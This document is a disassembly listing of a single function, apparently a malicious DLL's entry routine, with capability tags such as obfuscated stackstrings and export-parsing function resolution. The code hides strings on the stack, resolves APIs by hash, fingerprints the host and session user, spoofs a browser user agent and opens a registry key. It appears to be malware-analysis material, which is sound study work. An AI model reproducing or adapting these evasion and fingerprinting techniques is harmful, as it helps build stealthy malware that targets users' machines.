Function at 0x1000b750
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x37c
push ebx
push ebp
push esi
xor esi, esi
sub eax, esi
push edi
je 0x1000c779
dec eax
jne 0x1000c979
mov eax, dword [esp + 0x390]
push eax
mov dword [0x100123d4], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x20a
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
push 0x105
push eax
mov dword [0x10012390], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1000b7b1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10012390]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push eax
call ebx
lea ecx, [esp + 0x128]
xor eax, eax
push ecx
mov dword [esp + 0x12c], 0x65006b
mov dword [esp + 0x130], 0x6e0072
mov dword [esp + 0x134], 0x6c0065
mov dword [esp + 0x138], 0x320033
mov word [esp + 0x13c], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0xdc], eax
cmp eax, esi
jne 0x1000b815
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 2
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x341508dc
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x100123a8
mov dword [esp + 0x44], 0xc0c1bd8d
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 0x1001236c
call fcn.1000a2e0
mov ecx, dword [0x100123a8]
add esp, 0x10
push 0x20a
push 8
mov dword [0x10012098], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push eax
push esi
mov dword [0x10012398], eax
call edi
mov edx, dword [0x10012398]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push edx
mov dword [0x10012320], eax
call ebp
push 0x20a
push 8
mov dword [0x10012090], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
push 0x104
push eax
mov dword [0x10012414], eax
mov eax, dword [0x100123d4]
push eax
call edi
push 0x20a
push 8
mov dword [0x100120f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
mov ecx, dword [0x10012414]
push ecx
push eax
mov dword [0x100123b8], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [0x100123b8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x100123b8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [0x100123b8]
push ecx
call ebx
mov eax, dword [0x10012398]
mov edx, dword [0x10012414]
mov dword [0x1001204c], eax
mov eax, dword [0x100123b8]
push eax
mov dword [0x10012044], edx
mov dword [0x10012348], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x1001204c]
push 1
push esi
push ecx
mov dword [0x10012360], eax
call fcn.10003e20
mov dword [0x10012084], eax
mov dword [esp + 0x108], 0x74006e
push esi
lea edx, [esp + 0x10c]
push esi
push edx
mov dword [esp + 0x118], 0x6c0064
mov dword [esp + 0x11c], 0x6c
call fcn.10003930
add esp, 0x18
cmp eax, esi
jne 0x1000b997
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x20], 0x8c210360
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x10012330
call fcn.1000a2e0
mov edx, dword [0x10012414]
add esp, 0x10
push edx
call ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov eax, dword [0x10012390]
push eax
lea ecx, [esp + 0x188]
push 0x1000e428
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x180]
push edx
call dword [0x10012098]
mov dword [0x1001256c], eax
cmp eax, esi
jne 0x1000ba0a
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100123d4]
push eax
call fcn.10005eb0
add esp, 4
push 0x11c
push 0x10012450
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xec]
push eax
mov dword [0x10012450], 0x11c
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
call sub.NTDLL.dll_RtlGetNtVersionNumbers
movzx eax, word [esp + 0xec]
mov ecx, dword [esp + 0xe4]
mov edx, dword [esp + 0xe8]
mov dword [0x10012454], ecx
mov dword [0x10012458], edx
mov dword [0x1001245c], eax
call fcn.10004c90
mov ecx, dword [0x10012084]
mov edx, 0x5a4d
mov dword [0x100120d8], eax
cmp word [ecx], dx
jne 0x1000c979
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x1000c979
mov edx, dword [edx + ecx + 0x58]
cmp edx, 0x13df7ca
jne 0x1000bad0
mov dword [0x100123e0], 1
jmp 0x1000bae2
cmp edx, 0x3b75f
jne 0x1000bae2
mov dword [0x100123e0], 3
push eax
call fcn.100059e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xc8
push 8
mov dword [0x10012104], eax
call edi
push eax
call fcn.100052e0
mov dword [0x1001237c], eax
cmp eax, esi
jne 0x1000bb15
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov word [esp + 0x17c], cx
mov ecx, dword [0x10012104]
push 0x5c
push ecx
push str._s_c
push eax
mov dword [esp + 0x160], 0x4f0053
mov dword [esp + 0x164], 0x540046
mov dword [esp + 0x168], 0x410057
mov dword [esp + 0x16c], 0x450052
mov dword [esp + 0x170], 0x55005c
mov dword [esp + 0x174], 0x6f0073
mov dword [esp + 0x178], 0x690072
mov dword [esp + 0x17c], 0x5c0073
mov dword [esp + 0x180], 0x610042
mov dword [esp + 0x184], 0x6b0063
mov dword [esp + 0x188], 0x700075
call ebp
mov ecx, dword [0x1001237c]
lea edx, [esp + 0x160]
push edx
lea edx, [ecx + eax*2]
push 0x1000e9f8
push edx
mov dword [0x1001207c], eax
call ebp
mov eax, dword [0x1001237c]
mov ecx, dword [0x1001207c]
add esp, 0x1c
lea edx, [eax + ecx*2]
mov ecx, dword [0x100120d8]
lea eax, [esp + 0xe0]
push eax
push 0x100123e4
push 5
push ecx
push esi
mov dword [0x10012048], edx
mov dword [esp + 0xf4], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x1000bc46
push 0x20a
push 8
call edi
push eax
call fcn.100052e0
mov dword [0x100123e4], eax
cmp eax, esi
je 0x1000bc50
lea edx, [esp + 0xe0]
push edx
push eax
mov dword [esp + 0xe8], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x1000bc50
mov ecx, dword [0x100123e4]
mov word [ecx], ax
jmp 0x1000bc50
mov dword [0x1001239c], 1
mov eax, dword [0x100120d8]
lea edx, [esp + 0xd8]
push edx
push 0x10012388
push 7
push eax
push esi
mov dword [esp + 0xec], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x1000bcba
push 0x20a
push 8
call edi
push eax
call fcn.100052e0
mov dword [0x10012388], eax
cmp eax, esi
je 0x1000bcc4
lea ecx, [esp + 0xd8]
push ecx
push eax
push 3
mov dword [esp + 0xe4], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x1000bcc4
mov eax, dword [0x10012388]
xor edx, edx
mov word [eax], dx
jmp 0x1000bcc4
mov dword [0x100120b4], 1
call fcn.10005b60
mov dword [0x10012378], eax
call fcn.1000cc20
mov dword [0x100120cc], eax
call fcn.10003fb0
mov dword [0x10012344], eax
mov dword [0x10012328], 0x1000e758
cmp dword [0x100123e0], esi
je 0x1000c979
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0xd4]
push ecx
push eax
mov dword [esp + 0xdc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x1000bdaf
mov edx, dword [ebx]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov edx, dword [esp + 0xd4]
cmp edx, 1
jle 0x1000bda8
mov edi, 1
lea eax, [edx - 1]
cmp edi, eax
jge 0x1000bd68
mov eax, dword [ebx + edi*4]
cmp word [eax], 0x77
jne 0x1000bd68
cmp word [eax + 2], si
jne 0x1000bd68
mov ecx, dword [ebx + edi*4 + 4]
inc edi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov edx, dword [esp + 0xd4]
mov dword [0x100120ac], eax
jmp 0x1000bda3
mov eax, dword [ebx + edi*4]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x1000bd85
cmp word [eax + 2], si
jne 0x1000bd85
mov dword [0x1001232c], 1
jmp 0x1000bda3
cmp dword [0x100123e0], 3
jne 0x1000bda3
cmp ecx, 0x66
jne 0x1000bda3
cmp word [eax + 2], si
jne 0x1000bda3
mov dword [0x10012354], 1
inc edi
cmp edi, edx
jl 0x1000bd38
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x100120ac], esi
jle 0x1000bdd6
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
push 0x3e8
call edi
mov eax, dword [0x100120ac]
dec eax
mov dword [0x100120ac], eax
cmp eax, esi
jg 0x1000bdc0
push 0x208
push 8
mov edi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
mov dword [0x100123b0], eax
cmp eax, esi
je 0x1000bee1
mov edx, dword [0x10012458]
mov ecx, dword [0x10012454]
push edx
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x6f004d
mov dword [esp + 0x38], 0x69007a
mov dword [esp + 0x3c], 0x6c006c
mov dword [esp + 0x40], 0x2f0061
mov dword [esp + 0x44], 0x2e0035
mov dword [esp + 0x48], 0x200030
mov dword [esp + 0x4c], 0x570028
mov dword [esp + 0x50], 0x6e0069
mov dword [esp + 0x54], 0x6f0064
mov dword [esp + 0x58], 0x730077
mov dword [esp + 0x5c], 0x4e0020
mov dword [esp + 0x60], 0x200054
mov dword [esp + 0x64], 0x750025
mov dword [esp + 0x68], 0x25002e
mov dword [esp + 0x6c], 0x290075
mov dword [esp + 0x70], 0x460020
mov dword [esp + 0x74], 0x720069
mov dword [esp + 0x78], 0x660065
mov dword [esp + 0x7c], 0x78006f
mov dword [esp + 0x80], 0x37002f
mov dword [esp + 0x84], 0x2e0038
mov dword [esp + 0x88], 0x30
call ebp
mov eax, dword [0x100123b0]
push esi
push esi
push esi
push esi
push eax
call fcn.10002e00
add esp, 0x24
mov dword [0x10012054], eax
cmp dword [0x100123e0], edi
jne 0x1000bf30
mov eax, dword [0x10012104]
mov ecx, dword [0x100123e4]
mov edx, dword [0x10012388]
push eax
push 0x10012450
mov dword [0x10012370], ecx
mov dword [0x10012410], edx
call fcn.10008830
xor edx, edx
mov ecx, closesocket
div ecx
push edi
mov dword [0x100120d4], edx
mov edx, dword [0x100123b8]
push edx
call fcn.10003890
add esp, 0x10
call fcn.10008900
test eax, eax
je 0x1000bf40
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100123e0], edi
mov dword [0x100125bc], edi
mov edi, dword [esp + 0xdc]
mov ebx, 0x10004770
mov ebp, 0x100120d0
jne 0x1000c47b
push 0x631143df
push 1
lea eax, [esp + 0x2c]
push eax
push edi
mov dword [esp + 0x34], 0x4d4177d4
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x100120a8
call fcn.1000a2e0
add esp, 0x10
call fcn.10006130
push eax
call fcn.10009ac0
push 0x631143df
push 0xb
lea ecx, [esp + 0x30]
push ecx
push edi
mov dword [0x10012404], eax
mov dword [esp + 0x38], 0xbcceb12b
mov dword [esp + 0x3c], 0x10004210
mov dword [esp + 0x40], 0x100120c4
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x5e2e2340
mov dword [esp + 0x4c], 0x100094c0
mov dword [esp + 0x50], 0x1001235c
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x9f7a012e
mov dword [esp + 0x5c], 0x1000c990
mov dword [esp + 0x60], 0x1001206c
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], 0xa2e2fba9
mov dword [esp + 0x6c], 0x100088f0
mov dword [esp + 0x70], 0x10012064
mov dword [esp + 0x74], esi
mov dword [esp + 0x78], 0xa7a5ea92
mov dword [esp + 0x7c], 0x10007300
mov dword [esp + 0x80], 0x100123dc
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], 0xc2feaaf6
mov dword [esp + 0x8c], 0x1000b3b0
mov dword [esp + 0x90], 0x10012318
mov dword [esp + 0x94], esi
mov dword [esp + 0x98], 0xf6353ee6
mov dword [esp + 0x9c], 0x100037a0
mov dword [esp + 0xa0], 0x100123e8
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], 0x3f942f98
mov dword [esp + 0xac], 0x10004700
mov dword [esp + 0xb0], 0x10012394
mov dword [esp + 0xb4], esi
mov dword [esp + 0xb8], 0xaddfba77
mov dword [esp + 0xbc], 0x10004d40
mov dword [esp + 0xc0], 0x100123ac
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc8], 0xbaa3474b
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd8], 0x16884023
mov dword [esp + 0xdc], 0x1000ced0
mov dword [esp + 0xe0], 0x10012324
mov dword [esp + 0xe4], esi
call fcn.10005dd0
push esi
lea eax, [esp + 0x130]
xor edx, edx
push 0x100123d0
push eax
mov dword [esp + 0x138], 0x730075
mov dword [esp + 0x13c], 0x720065
mov dword [esp + 0x140], 0x320033
mov word [esp + 0x144], dx
call fcn.10003930
add esp, 0x20
mov dword [0x10012074], eax
cmp eax, esi
je 0x1000c296
push 0x631143df
push 8
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xa5126c5b
mov dword [esp + 0x38], 0x10004440
mov dword [esp + 0x3c], 0x10012408
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0xb624fee8
mov dword [esp + 0x48], 0x10003b90
mov dword [esp + 0x4c], 0x10012358
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x288d34a4
mov dword [esp + 0x58], 0x10002df0
mov dword [esp + 0x5c], 0x10012050
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x343c1e51
mov dword [esp + 0x68], 0x10002250
mov dword [esp + 0x6c], 0x10012340
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0xc0e8ab00
mov dword [esp + 0x78], 0x10007360
mov dword [esp + 0x7c], 0x100123a4
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0xc442ac10
mov dword [esp + 0x88], 0x100081f0
mov dword [esp + 0x8c], 0x10012078
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xa2578f57
mov dword [esp + 0x98], 0x10006b20
mov dword [esp + 0x9c], 0x10012058
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0xf184d6f6
mov dword [esp + 0xa8], 0x10004c70
mov dword [esp + 0xac], 0x100123a0
mov dword [esp + 0xb0], esi
call fcn.10005dd0
add esp, 0x10
push esi
lea ecx, [esp + 0x14]
push 0x10012094
push ecx
mov dword [esp + 0x1c], 0x680073
mov dword [esp + 0x20], 0x6c0065
mov dword [esp + 0x24], 0x33006c
mov dword [esp + 0x28], 0x32
call fcn.10003930
add esp, 0xc
mov dword [0x10012364], eax
cmp eax, esi
je 0x1000c33b
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc7ee492e
mov dword [esp + 0x38], 0x100052f0
mov dword [esp + 0x3c], 0x1001238c
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5c981f54
mov dword [esp + 0x48], 0x1000d540
mov dword [esp + 0x4c], 0x10012080
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xa47468e0
mov dword [esp + 0x58], 0x1000d1e0
mov dword [esp + 0x5c], 0x100125a8
mov dword [esp + 0x60], esi
call fcn.10005dd0
add esp, 0x10
push esi
lea ecx, [esp + 0x10c]
xor eax, eax
push 0x10012040
push ecx
mov dword [esp + 0x114], 0x730077
mov dword [esp + 0x118], 0x5f0032
mov dword [esp + 0x11c], 0x320033
mov word [esp + 0x120], ax
call fcn.10003930
add esp, 0xc
mov dword [0x100120b0], eax
cmp eax, esi
je 0x1000c3ee
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x25ddb08c
mov dword [esp + 0x38], 0x1000ce30
mov dword [esp + 0x3c], 0x10012060
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x99d55537
mov dword [esp + 0x48], 0x100084c0
mov dword [esp + 0x4c], 0x100125ac
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x17debac0
mov dword [esp + 0x58], 0x1000c9f0
mov dword [esp + 0x5c], 0x100120a4
mov dword [esp + 0x60], esi
call fcn.10005dd0
add esp, 0x10
push esi
lea eax, [esp + 0xf4]
push 0x100123f8
push eax
mov dword [esp + 0xfc], 0x690077
mov dword [esp + 0x100], 0x6d006e
mov dword [esp + 0x104], 0x6d
call fcn.10003930
add esp, 0xc
mov dword [0x100123fc], eax
cmp eax, esi
je 0x1000c47b
push 0x631143df
push 2
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0x9d27ac39
mov dword [esp + 0x38], 0x100036a0
mov dword [esp + 0x3c], 0x10012100
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5789c82b
mov dword [esp + 0x48], 0x10003e10
mov dword [esp + 0x4c], 0x100123d8
mov dword [esp + 0x50], esi
call fcn.10005dd0
add esp, 0x10
push esi
lea edx, [esp + 0x140]
xor ecx, ecx
push 0x1001205c
push edx
mov dword [esp + 0x148], 0x640061
mov dword [esp + 0x14c], 0x610076
mov dword [esp + 0x150], 0x690070
mov dword [esp + 0x154], 0x320033
mov word [esp + 0x158], cx
call fcn.10003930
add esp, 0xc
mov dword [0x100123ec], eax
cmp eax, esi
je 0x1000c679
cmp dword [0x100123e0], 1
jne 0x1000c64c
push 0x631143df
push 0xa
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xc3109516
mov dword [esp + 0x38], 0x10002430
mov dword [esp + 0x3c], 0x10012108
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x56ff8c5d
mov dword [esp + 0x48], 0x10005060
mov dword [esp + 0x4c], 0x10012374
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xd41bd247
mov dword [esp + 0x58], 0x100060e0
mov dword [esp + 0x5c], 0x10012334
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x4e422a93
mov dword [esp + 0x68], 0x1000d0e0
mov dword [esp + 0x6c], 0x10012338
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0x7b817146
mov dword [esp + 0x78], 0x1000d4c0
mov dword [esp + 0x7c], 0x100120bc
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0x842db31e
mov dword [esp + 0x88], 0x10005c30
mov dword [esp + 0x8c], 0x100120e8
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xdd30a549
mov dword [esp + 0x98], 0x1000d050
mov dword [esp + 0x9c], 0x100120c0
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0x85b69c83
mov dword [esp + 0xa8], 0x10005d60
mov dword [esp + 0xac], 0x100120a0
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], 0xf1bdc0d7
mov dword [esp + 0xb8], 0x10007960
mov dword [esp + 0xbc], 0x10012384
mov dword [esp + 0xc0], esi
mov dword [esp + 0xc4], 0x59797a4f
mov dword [esp + 0xc8], 0x10003960
mov dword [esp + 0xcc], 0x10012400
mov dword [esp + 0xd0], esi
call fcn.10005dd0
jmp 0x1000c676
push 0xff000000
push 1
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc5683990
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012400
call fcn.1000a2e0
add esp, 0x10
cmp dword [0x100123e0], 1
jne 0x1000c6ec
push esi
lea eax, [esp + 0x14]
xor edx, edx
push 0x100123c0
push eax
mov dword [esp + 0x1c], 0x690077
mov dword [esp + 0x20], 0x74006e
mov dword [esp + 0x24], 0x750072
mov dword [esp + 0x28], 0x740073
mov word [esp + 0x2c], dx
call fcn.10003930
add esp, 0xc
mov dword [0x100123f0], eax
cmp eax, esi
je 0x1000c715
push 0x631143df
push 1
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], 0xc7f3ad14
mov dword [esp + 0x34], 0x10004c80
mov dword [esp + 0x38], 0x1001231c
push eax
jmp 0x1000c709
push 0x631143df
push 1
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], 0xbaa3474b
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebp
push edi
mov dword [esp + 0x40], esi
call fcn.10005dd0
add esp, 0x10
push esi
call fcn.10005bd0
test eax, eax
je 0x1000c726
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100123e0], 1
mov dword [0x100125bc], 2
jne 0x1000c979
mov eax, dword [0x10012048]
push esi
push 0x100120f8
push esi
xor ecx, ecx
cmp dword [0x10012378], esi
push 0xf013f
push esi
setne cl
push esi
push esi
push eax
add ecx, 0x80000001
push ecx
call dword [0x10012108]
test eax, eax
je 0x1000c979
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10012390]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp eax, esi
je 0x1000c792
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x100123b8]
cmp eax, esi
je 0x1000c7a5
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x10012414]
cmp eax, esi
je 0x1000c7b8
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x10012398]
cmp eax, esi
je 0x1000c7cb
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x1001256c]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, esi
je 0x1000c7dd
push eax
call ebx
mov eax, dword [0x10012104]
cmp eax, esi
je 0x1000c7ed
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x1001237c]
cmp eax, esi
je 0x1000c800
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x100123e4]
cmp eax, esi
je 0x1000c822
push eax
cmp dword [0x1001239c], esi
je 0x1000c819
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1000c822
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x10012388]
cmp eax, esi
je 0x1000c844
push eax
cmp dword [0x100120b4], esi
je 0x1000c83b
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1000c844
push esi
call edi
push eax
call fcn.100088d0
cmp dword [0x100123e0], esi
je 0x1000c979
cmp dword [0x100125bc], 2
jne 0x1000c85f
push esi
call fcn.100096b0
cmp dword [0x100125bc], esi
jle 0x1000c86c
call fcn.10006aa0
mov eax, dword [0x10012074]
cmp eax, esi
je 0x1000c880
cmp dword [0x100123d0], esi
je 0x1000c880
push eax
call ebx
mov eax, dword [0x10012364]
cmp eax, esi
je 0x1000c894
cmp dword [0x10012094], esi
je 0x1000c894
push eax
call ebx
mov eax, dword [0x100123ec]
cmp eax, esi
je 0x1000c8a8
cmp dword [0x1001205c], esi
je 0x1000c8a8
push eax
call ebx
mov eax, dword [0x100123f0]
cmp eax, esi
je 0x1000c8bc
cmp dword [0x100123c0], esi
je 0x1000c8bc
push eax
call ebx
mov eax, dword [0x100120b0]
cmp eax, esi
je 0x1000c8d0
cmp dword [0x10012040], esi
je 0x1000c8d0
push eax
call ebx
mov eax, dword [0x100123fc]
cmp eax, esi
je 0x1000c8e4
cmp dword [0x100123f8], esi
je 0x1000c8e4
push eax
call ebx
mov eax, dword [0x10012068]
cmp eax, esi
je 0x1000c8f8
cmp dword [0x100120dc], esi
je 0x1000c8f8
push eax
call ebx
mov eax, dword [0x100120f8]
cmp eax, esi
je 0x1000c908
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x100123b0]
cmp eax, esi
je 0x1000c91b
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x10012054]
cmp eax, esi
je 0x1000c92e
push eax
push esi
call edi
push eax
call fcn.100088d0
mov eax, dword [0x10012070]
cmp eax, esi
je 0x1000c941
push eax
push esi
call edi
push eax
call fcn.100088d0
mov edi, 0x10012598
mov eax, dword [edi]
cmp eax, esi
je 0x1000c952
push eax
call sub.NTDLL.dll_NtClose
add edi, 4
cmp edi, 0x100125a4
jl 0x1000c946
mov eax, dword [0x100120c8]
cmp eax, esi
je 0x1000c979
push esi
push eax
call sub.NTDLL.dll_NtTerminateThread
mov edx, dword [0x100120c8]
push edx
call sub.NTDLL.dll_NtClose
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x37c
ret 0xc